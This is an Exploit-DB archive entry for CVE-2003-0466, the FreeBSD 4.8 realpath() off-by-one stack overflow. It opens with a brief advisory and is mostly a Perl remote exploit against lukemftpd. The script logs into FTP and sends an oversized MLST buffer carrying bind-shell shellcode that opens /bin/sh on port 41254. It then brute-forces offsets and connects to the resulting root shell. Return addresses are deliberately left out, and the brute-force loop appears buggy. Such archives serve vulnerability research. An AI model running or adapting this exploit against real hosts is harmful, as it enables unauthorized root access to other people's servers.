标题: FreeBSD 4.8 - 'realpath()' Off-by-One Buffer Overflow EDB-ID: 22976 CVE: 2003-0466 类型: REMOTE 平台: FREEBSD 发布日期: 2003-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/8315/info
  
The 'realpath()' function is a C-library procedure to resolve the canonical, absolute pathname of a file based on a path that may contain values such as '/', './', '../', or symbolic links. A vulnerability that was reported to affect the implementation of 'realpath()' in WU-FTPD has lead to the discovery that at least one implementation of the C library is also vulnerable. FreeBSD has announced that the off-by-one stack- buffer-overflow vulnerability is present in their libc. Other systems are also likely vulnerable.
  
Reportedly, this vulnerability has been successfully exploited against WU-FTPD to execute arbitrary instructions.
  
NOTE: Patching the C library alone may not remove all instances of this vulnerability. Statically linked programs may need to be rebuilt with a patched version of the C library. Also, some applications may implement their own version of 'realpath()'. These applications would require their own patches. FreeBSD has published a large list of applications that use 'realpath()'. Administrators of FreeBSD and other systems are urged to review it. For more information, see the advisory 'FreeBSD-SA-03:08.realpath'.

#!/usr/bin/perl

#realpath lukemftpd remote exploit for freeBSD 4.8
#i managed to code this, and lose the first copy, hence a re-write :(
#deadbeat,
#left without any return addresses/offsets purposely to stop kids using it..
#want the rets/offsets? heh..
#
#tested on freeBSD 4.8 and it worked ;) it worked ;)
#e: daniels@legend.co.uk
#e: deadbeat@sdf.lonestar.org

use IO::Socket;

$user = $ARGV[0];
$pass = $ARGV[1];
$ret = $ARGV[2];
$offset = $ARGV[3];
$host = $ARGV[4];
$buf= 1024;
$n = "./";
print "lukemftpd remote for FreeBSD 4.8 ..\n";
print "this is the kiddiot version, go grab them ret's+offsets..lool\n";
print "contact me and i might give u the rets/offsets\n";
if(!$ARGV[4]){
 die "Usage: perl $0 <user> <pass> <ret> <offset> <host>\n";
}
sub brute_force
{
 $r = $_[0];
 $o = $_[1];

  #shellcode from zillion.. from safemode.org...binds /bin/sh on 41254
 $hell = "\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0".
          "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46".
          "\x0a\xa1\x26\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0".
          "\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80".
          "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff".
          "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01".
          "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff".
          "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";

 $addr = pack('l', ($r+$o));
 for($i=0;$i <$buf; $i +=4){
  $buffer .=$addr;
 }
 for($i=0;$i<$buf - length($hell) /2;$i++){
  $buffer .=$n;
 }
 $buffer .=$hell;

 print "Connecting to: $host\n";
 $sox = IO::Socket::INET->new(
  Proto=>"tcp",
  PeerPort=>"21",
  PeerAddr=>"$host"
 )or die "cant connect to $host ...maybe try a real host ;)\n";
 sleep 1;
 print ("[+]Trying addr: 0x", sprintf('%lx', ($r + $o)),"\n");
 print $sox "user $user\r\n";
 sleep 1;
 print "pass $pass\r\n";
 sleep 1;
 print $sox "MLST $buffer\r\n";
 sleep 2;
 close $sox;
 print "Trying to connect to r00tshell\n";
 $sox = IO::Socket::INET->new(
  Proto=>"tcp",
  PeerPort=>"41254",
  PeerAddr=>"$host"
 )or die"No r00tshell this time, try using a proper offset/ret_addr..\n";
 print "Wicked we got a r00tshell on $host : 41254\n\n";
 close $sox;
}

for($a=0;$a<1000;$a++){
 $offset++;
 $reta = pack('l', ($ret+$o));
 print "Brute Force [$a]\n";
 brute_force($reta,$offset);
} URL: https://www.exploit-db.com/exploits/22976